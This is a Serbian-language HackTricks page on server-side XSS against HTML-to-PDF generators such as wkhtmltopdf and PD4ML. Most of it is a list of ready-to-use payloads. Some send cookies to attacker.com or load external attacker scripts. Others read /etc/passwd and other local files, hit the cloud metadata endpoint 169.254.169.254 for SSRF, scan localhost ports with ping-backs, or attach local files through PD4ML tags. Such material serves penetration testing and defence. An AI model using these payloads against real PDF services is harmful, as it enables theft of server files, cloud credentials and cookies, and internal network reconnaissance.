Server Side XSS (Dynamic PDF)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Server Side XSS (Dinamički PDF)

Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite robota koji kreira PDF da izvrši proizvoljni JS kod. Dakle, ako PDF kreator robot pronađe neke vrste HTML tagova, on će ih interpretirati, a vi možete zloupotrebiti ovaj ponašanje da izazovete Server XSS.

Molim vas, obratite pažnju da <script></script> tagovi ne rade uvek, pa će vam biti potrebna druga metoda za izvršavanje JS koda (na primer, zloupotreba <img ). Takođe, imajte na umu da ćete u redovnom iskorišćavanju biti u mogućnosti da vidite/preuzmete kreirani PDF, pa ćete moći da vidite sve što pišete putem JS-a (koristeći document.write() na primer). Ali, ako ne možete videti kreirani PDF, verovatno ćete morati izvući informacije praveći web zahtev ka sebi (Slepi).

Popularna generacija PDF-a

  • wkhtmltopdf je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit render mašinu. Ovaj alat je dostupan kao open-source komandna linija, što ga čini dostupnim za širok spektar aplikacija.

  • TCPDF nudi robustno rešenje unutar PHP ekosistema za generisanje PDF-a. On je sposoban za rukovanje slikama, grafikama i enkripcijom, što pokazuje njegovu sposobnost za kreiranje složenih dokumenata.

  • Za one koji rade u Node.js okruženju, PDFKit predstavlja prihvatljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i formata za štampanje.

  • Java programeri mogu preferirati iText, biblioteku koja ne samo da olakšava kreiranje PDF-a, već podržava i napredne funkcionalnosti poput digitalnih potpisa i popunjavanja formulara. Njegov obuhvatan skup funkcionalnosti čini ga pogodnim za generisanje sigurnih i interaktivnih dokumenata.

  • FPDF je još jedna PHP biblioteka, koja se ističe svojom jednostavnošću i lakoćom korišćenja. Namijenjena je programerima koji traže jednostavan pristup generisanju PDF-a, bez potrebe za naprednim funkcionalnostima.

Payloadi

Otkrivanje

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Bilo koji od prethodnih ili sledećih payloada može se koristiti unutar ovog SVG payloada. Jedan iframe koji pristupa Burpcollab poddomenu i još jedan koji pristupa metadata endpointu su dati kao primeri.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Možete pronaći mnogo drugih SVG payloada na https://github.com/allanlw/svg-cheatsheet

Otkrivanje putanje

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Učitajte spoljni skript

Najbolji način za iskorišćavanje ove ranjivosti je zloupotreba ranjivosti kako bi se naterao bot da učita skriptu kojom vi upravljate lokalno. Zatim ćete moći da lokalno promenite payload i naterate bota da ga učita sa istim kodom svaki put.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Čitanje lokalne datoteke / SSRF

Promenite file:///etc/passwd u http://169.254.169.254/latest/user-data na primer da pokušate da pristupite spoljnoj veb stranici (SSRF).

Ako je SSRF dozvoljen, ali ne možete da pristupite zanimljivom domenu ili IP adresi, proverite ovu stranicu za potencijalne zaobilaženja.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Kašnjenje robota

U nekim situacijama, prilikom izvođenja napada, može biti korisno dodati kašnjenje između svake iteracije kako bi se izbeglo otkrivanje i sprečilo blokiranje od strane ciljnog servera. Ovo se naziva "bot delay" ili kašnjenje robota.

Da biste implementirali kašnjenje robota, možete koristiti funkciju sleep() ili slične metode u programskom jeziku koji koristite za izvršavanje napada. Ova funkcija će privremeno zaustaviti izvršavanje programa na određeno vreme pre nego što nastavi sa sledećom iteracijom.

Na primer, u Pythonu možete koristiti biblioteku time i funkciju sleep() kako biste postavili kašnjenje između iteracija. Evo kako to možete uraditi:

import time

# Postavite kašnjenje od 1 sekunde između iteracija
time.sleep(1)

Ovo će zaustaviti izvršavanje programa na 1 sekundu pre nego što nastavi sa sledećom iteracijom. Možete prilagoditi vreme kašnjenja prema potrebama i zahtevima napada.

Važno je napomenuti da kašnjenje robota može biti korisno u određenim situacijama, ali nije uvek neophodno ili efikasno. Treba pažljivo proceniti kada je potrebno koristiti kašnjenje robota kako bi se postigao optimalan rezultat napada.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Skeniranje portova

Port skeniranje je proces koji se koristi za identifikaciju otvorenih portova na ciljnom računaru ili mreži. Ova tehnika omogućava hakerima da otkriju ranjive tačke ulaza i izlaza, kao i da identifikuju servise koji su dostupni na ciljnom sistemu.

Da biste izvršili port skeniranje, možete koristiti različite alate kao što su Nmap, Masscan ili Zmap. Ovi alati šalju mrežne zahteve na određene portove i analiziraju odgovore kako bi utvrdili da li su portovi otvoreni, zatvoreni ili filtrirani.

Port skeniranje može biti korisno u procesu testiranja penetracije, jer omogućava identifikaciju potencijalnih ranjivosti i slabosti u mrežnoj infrastrukturi. Međutim, važno je napomenuti da port skeniranje može biti nezakonito ako se izvodi bez dozvole vlasnika sistema ili mreže.

Kada izvršavate port skeniranje, važno je biti pažljiv i poštovati zakonske propise. Uvek se preporučuje da imate pisanu dozvolu od vlasnika sistema ili mreže pre nego što izvršite bilo kakvo skeniranje portova.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Ova ranjivost se može vrlo lako transformisati u SSRF (jer možete učitati spoljne resurse pomoću skripte). Pokušajte je iskoristiti (pročitajte neke metapodatke?).

Prilozi: PD4ML

Postoje neki HTML 2 PDF engine-i koji omogućavaju specificiranje priloga za PDF, kao što je PD4ML. Možete zloupotrebiti ovu funkcionalnost da priložite bilo koji lokalni fajl PDF-u. Da biste otvorili prilog, otvorio sam fajl sa Firefox-om i dvaput kliknuo na simbol spajalice da bih sačuvao prilog kao novi fajl. Snimanje PDF odgovora sa Burp-om takođe bi trebalo da prikaže prilog u čistom tekstu unutar PDF-a.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated